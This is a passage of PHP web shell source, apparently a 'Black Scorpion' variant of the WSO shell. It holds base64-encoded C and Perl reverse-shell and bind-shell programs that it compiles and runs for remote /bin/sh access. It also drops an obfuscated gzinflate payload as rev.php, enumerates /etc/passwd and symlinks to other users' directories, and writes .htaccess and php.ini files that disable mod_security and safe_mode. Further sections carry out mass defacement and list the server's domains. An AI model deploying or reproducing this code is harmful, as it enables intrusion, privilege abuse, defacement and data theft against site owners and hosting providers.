3399echo "<tr><td><a href=http://www.".$doms[1][0]."/>".$doms[1][0]."</a></td><td><a>".$user['name']."</a></td><td><a href='sec1/1.txt/home/".$user['name']."/public_html/' >Sym1</a>~<a href='sec2/1.txt/home/".$user['name']."/public_html/' >Sym2</a>~<a href='sec3/1.txt/home/".$user['name']."/public_html/' >Sym3</a>~<a href='sec4/1.txt/home/".$user['name']."/public_html/' >Sym4</a>~<a href='sec5/1.txt/home/".$user['name']."/public_html/' >Sym5</a>~<a href='sec6/1.txt/home/".$user['name']."/public_html/' >Sym6</a>~<a href='sec7/1.txt/home/".$user['name']."/public_html/' >Sym7</a></td></tr>";
3400}
3401}
3402}
3403 } printFooter();
3404 }
3405
3406function actionImportScripts() {
3407 printHeader();
3408echo '<center><br><h1>Shells By Black Scorpian</h1></center><div class="content">
3409<br>
3410<table border="1%" align="center" cellpadding="10">
3411<tr>
3412<td>Click And Get The Shells</td>
3413<tr><td>
3414<form action="" method="post">
3415<input type = "submit" name="dhanush" value ="Dhanush Shell">
3416</td></tr>
3417<tr><td>
3418<form action="" method="post">
3419<input type = "submit" name="anonghosts" value ="AnonGhosts Shell"></td></tr>
3420<tr><td>
3421<form action="" method="post">
3422<input type = "submit" name="blackhat" value ="BlackHat Shell"></td></tr>
3423<tr><td>
3424<form action="" method="post">
3425<input type = "submit" name="imageshell" value ="Black Scorpion Image Shell"></td></tr>
3426<tr><td>
3427<form action="" method="post">
3428<input type = "submit" name="madspot" value ="Madspot Shell"></td></tr>
3429<tr><td>
3430<form action="" method="post">
3431<input type = "submit" name="pcd" value ="Pak Cyber Defenders Shell"></td></tr>
3432<tr><td>
3433<form action="" method="post">
3434<input type = "submit" name="cheta" value ="Kashimiri Cheetah Shell"></td></tr>
3435<tr><td>
3436<form action="" method="post">
3437<input type = "submit" name="1337worm" value ="1337 Worm Shell"></td></tr>
3438<tr><td>
3439<form action="" method="post">
3440<input type = "submit" name="b374k" value ="b374k Shell"></td></tr>
3441<tr><td>
3442<form action="" method="post">
3443<input type = "submit" name="wso" value ="Wso shell"></td></tr></div>
3444<tr><td>
3445<form action="" method="post">
3446<input type = "submit" name="joker" value ="Joker Shell"></td></tr></div>';
3447
3448
3449
3450
3451
3452
3453 printFooter();
3454}
3455
3456function actionImportTools () {
3457 printHeader();
3458 echo '<center><h1>Tools By Black Scorp</h1></center><div class="content">
3459<br>
3460<table border="1%" align="center" cellpadding="10">
3461<tr>
3462<td>Just Click And Get The Tools</td>
3463<tr><td>
3464<form action="" method="post">
3465<input type = "submit" name="symlinker" value ="Devil killer symlinker"></td></tr>
3466<tr><td>
3467<form action="" method="post">
3468<input type = "submit" name="mass" value ="Wordpress Mass Defacer"></td></tr>
3469<tr><td>
3470<form action="" method="post">
3471<input type = "submit" name="zone" value ="Zone-h Mass Notifier"></td></tr>
3472<tr><td>
3473<form action="" method="post">
3474<input type = "submit" name="anoncmd" value ="AnonGhosts Console"></td></tr>
3475<tr><td>
3476<form action="" method="post">
3477<input type = "submit" name="madleets" value ="Madleets Console"></td></tr>
3478<tr><td>
3479<form action="" method="post">
3480<input type = "submit" name="rooter" value ="Autorooting Perl Script"></td></tr>
3481<tr><td>
3482<form action="" method="post">
3483<input type = "submit" name="cpc1" value ="Advance Control Panel Cracker"></td></tr>
3484<tr><td>
3485<form action="" method="post">
3486<input type = "submit" name="cpc" value ="Control Panel Cracker"></td></tr></div>';
3487 printFooter();
3488}
3489
3490function actionpriv8 () {
3491 printHeader();
3492 echo '<center><h1>Priv8 Tools By Black Scorp</h1></center><div class="content">
3493<br>
3494<table border="1%" align="center" cellpadding="10">
3495<tr>
3496<td>Just Click And Get The Tools</td>
3497<tr><td>
3498<form action="" method="post">
3499<input type = "submit" name="jumping" value ="Server Jumping"></td></tr>
3500<tr><td></div>';
3501 printFooter();
3502}
3503
3504function actionBackConnect() {
3505 printHeader();
3506 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
3507 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
3508 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
3509 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
3510
3511 echo '<center><h1>Network tools</h1></center><div class=content>
3512 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
3513 <br /><span>Bind port to /bin/sh</span><br/>
3514 Port: <input type=\'text\' name=\'port\' value=\'110\'> Password: <input type=\'text\' name=\'pass\' value=\'BHP\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
3515 </form>
3516 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
3517 <br /><br /><span>Back-connect to</span><br/>
3518 Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'110\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
3519 </form><br>';
3520 if(isset($_POST['p1'])) {
3521 function cf($f,$t) {
3522 $w=@fopen($f,"w") or @function_exists('file_put_contents');
3523 if($w) {
3524 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
3525 @fclose($w);
3526 }
3527 }
3528 if($_POST['p1'] == 'bpc') {
3529 cf("/tmp/bp.c",$bind_port_c);
3530 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
3531 @unlink("/tmp/bp.c");
3532 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
3533 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
3534 }
3535 if($_POST['p1'] == 'bpp') {
3536 cf("/tmp/bp.pl",$bind_port_p);
3537 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
3538 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
3539 }
3540 if($_POST['p1'] == 'bcc') {
3541 cf("/tmp/bc.c",$back_connect_c);
3542 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
3543 @unlink("/tmp/bc.c");
3544 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
3545 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
3546 }
3547 if($_POST['p1'] == 'bcp') {
3548 cf("/tmp/bc.pl",$back_connect_p);
3549 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
3550 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
3551 }
3552 }
3553 echo '</div>';
3554 printFooter();
3555}
3556
3557
3558function actionReadable() {
3559 printHeader();
3560 echo '<h1>Readable Dirs</h1>';
3561 echo '<div class="content">';
3562 $sm = ini_get('safe_mode');
3563 if($sm) {
3564 echo '<br /><b>Error: safe_mode = on</b><br /><br />';
3565 } else {
3566 @$passwd = file('/etc/passwd','r');
3567 if (!$passwd) {
3568 echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
3569 } else {
3570 $pub = array();
3571 $users = array();
3572 $conf = array();
3573 $i = 0;
3574 foreach($passwd as $p) {
3575 $r = explode(':',$p);
3576 $dirz = $r[5].'/public_html/';
3577 if(strpos($r[5],'home')) {
3578 array_push($users,$r[0]);
3579 if (is_readable($dirz)) {
3580 array_push($pub,$dirz);
3581 }
3582 }
3583 }
3584 echo '<br><br>';
3585 echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
3586 echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
3587 foreach ($pub as $user) {
3588 echo $user."<br>";
3589 }
3590 echo "<br /><br /><br />[+] Complete...\n"."<br />";
3591 }
3592 }
3593 echo '</div>';
3594 printFooter();
3595}
3596
3597
3598
3599function actionInjector(){
3600 printHeader();
3601 $rev = "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";
3602 $handle = @fopen("rev.php", "w");
3603 @fwrite($handle, htmlspecialchars_decode(gzinflate(base64_decode($rev))));
3604 @fclose($handle);
3605 ?>
3606 <center><h1>Rev Mass Code Injector</h1><br><br>
3607 <iframe src="rev.php" width="100%" height="700"></iframe>
3608 </center>
3609 <?php
3610 printFooter();
3611 }
3612
3613function actionBypass() {
3614 printHeader();
3615 echo '<h1>Safe Mode</h1>';
3616 echo '<div class="content">';
3617 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
3618 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
3619 if(!empty($_POST['p2']) && isset($_POST['p2']))
3620 {
3621 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
3622 fwrite($fil,'<IfModule mod_security.c>
3623 Sec------Engine Off
3624 Sec------ScanPOST Off
3625 </IfModule>');
3626 fclose($fil);
3627 }
3628 if(!empty($_POST['p1'])&& isset($_POST['p1']))
3629 {
3630 $fil=fopen($GLOBALS['cwd']."php.ini","w");
3631 fwrite($fil,'safe_mode=OFF
3632 disable_functions=NONE');
3633 fclose($fil);
3634 }
3635 if(!empty($_POST['p3']) && isset($_POST['p3']))
3636 {
3637 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
3638 fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
3639 AddType application/x-httpd-cgi .sh
3640 AddHandler cgi-script .pl
3641 AddHandler cgi-script .pl');
3642 fclose($fil);
3643 }
3644 echo "<br><br /><br /></div>";
3645 echo '</div>';
3646 printFooter();
3647
3648}
3649
3650function actionDeface() {
3651printHeader();
3652echo "<center><h1>Mass Deface</h1><div class=content>";
3653?>
3654<center>
3655<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">Folder: <br><input type=text name=path size=60 value="<?php echo getcwd(); ?>">
3656<br>File name: <br><input type=text name=file size=20 value="Blackscorpion.html"><br>Content:
3657<br> <textarea type=text name=Contents cols=70 rows=15 placeholder="Deface Page Here :)"></textarea>
3658<br><input type=submit value="Deface now"></p></form>
3659
3660<?php
3661if ($_POST['a'] == 'Deface') {
3662$mainpath = $_POST[p1];
3663$file = $_POST[p2];
3664$txtContents = $_POST[p3];
3665
3666$dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
3667while ($row = readdir($dir)) {
3668$start = @fopen("$row/$file", "w+");
3669$code = $txtContents;
3670$finish = @fwrite($start, $code);
3671if ($finish) {
3672echo "http://$row/$file<br>";
3673}
3674}
3675
3676}
3677echo '</div>';
3678printFooter();
3679}
3680 function actionDomain() {
3681 printHeader();
3682echo '<h1>Local Domains</h1><div class=content>';
3683$file = @implode(@file("/etc/named.conf"));
3684$Domain_path = "/var/named";
3685if (!$file) {
3686$domains = scandir($Domain_path);
3687$count=1;
3688$dc = 0;
3689 echo "<table align=center border=1 width=59% cellpadding=5>
3690<tr><td colspan=2><center>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.</center></td></tr>
3691<tr><td>No</td><td>Domains</td><td>User</td></tr>";
3692foreach ($domains as &$domain) {
3693 if (stripos($domain,".db")) {
3694 $domain = str_replace('.db','',$domain);
3695
3696 }
3697 if (strlen($domain) > 6) {
3698
3699 echo "<tr><td><a href='http://".$domain."' target='_blank'>".'http://'.$domain.'/index.php'."</a></td><td></td></tr>";
3700 }
3701}
3702 echo "</table>";
3703} else{
3704$count = 1;
3705preg_match_all("#named/(.*?).db#", $file, $r);
3706$domains = array_unique($r[1]);
3707echo "<table align=center border=1 width=59% cellpadding=5>
3708<tr><td colspan=2> There are ( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
3709<tr><td>Domains";
3710foreach ($domains as $domain) {
3711$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
3712echo "<tr><td><a href='http://".$domain."' target='_blank'>".'http://'.$domain.'/index.php'."</a></td><td></td></tr>";
3713 }
3714}
3715printFooter();
3716}
3717if( empty($_POST['a']) )
3718 if(isset($default_action) && function_exists('action' . $default_action))
3719 $_POST['a'] = $default_action;
3720 else
3721 $_POST['a'] = 'SecInfo';
3722if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
3723 call_user_func('action' . $_POST['a'])
3724?>